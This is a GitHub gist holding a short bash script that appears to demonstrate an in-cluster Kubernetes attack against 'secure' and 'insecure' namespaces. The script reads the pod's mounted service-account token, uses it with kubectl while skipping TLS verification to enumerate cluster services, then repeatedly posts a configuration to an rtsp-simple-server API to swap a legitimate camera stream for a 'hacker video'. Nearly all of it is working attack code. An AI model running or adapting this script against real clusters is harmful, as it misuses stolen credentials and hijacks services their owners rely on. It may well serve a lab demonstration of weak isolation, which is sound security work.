Skip to content

Instantly share code, notes, and snippets.

@garygan89
Last active November 12, 2021 08:10
Show Gist options
  • Save garygan89/f06be7b9f191f3a675ced7fdfcf91192 to your computer and use it in GitHub Desktop.
Save garygan89/f06be7b9f191f3a675ced7fdfcf91192 to your computer and use it in GitHub Desktop.
#!/bin/bash
ATTACK_TARGET=$1
if [ $# -ne 1 ]; then
echo "usage: script secure OR script insecure"
exit 1
fi
# get list of running services
kubectl --server https://kubernetes.default --insecure-skip-tls-verify --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) get svc -A 2>&1
if [ $? -eq 0 ]; then
sleep 5
echo "Modifying existing RTSP stream to hacker video..."
if [ $ATTACK_TARGET == "secure" ]; then
while true; do curl -H "Content-Type: application/json" http://rtsp-simple-server.secure.svc.cluster.local:9997/v1/config/paths/edit/mystream -d @rtsp-legit2hacker.json -v --connect-timeout 1 ; done
else
curl -H "Content-Type: application/json" http://rtsp-simple-server.insecure.svc.cluster.local:9997/v1/config/paths/edit/mystream -d @rtsp-legit2hacker.json -v --connect-timeout 3
fi
sleep 5
else
echo "No info obtained, giving up..."
fi
# EOF
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment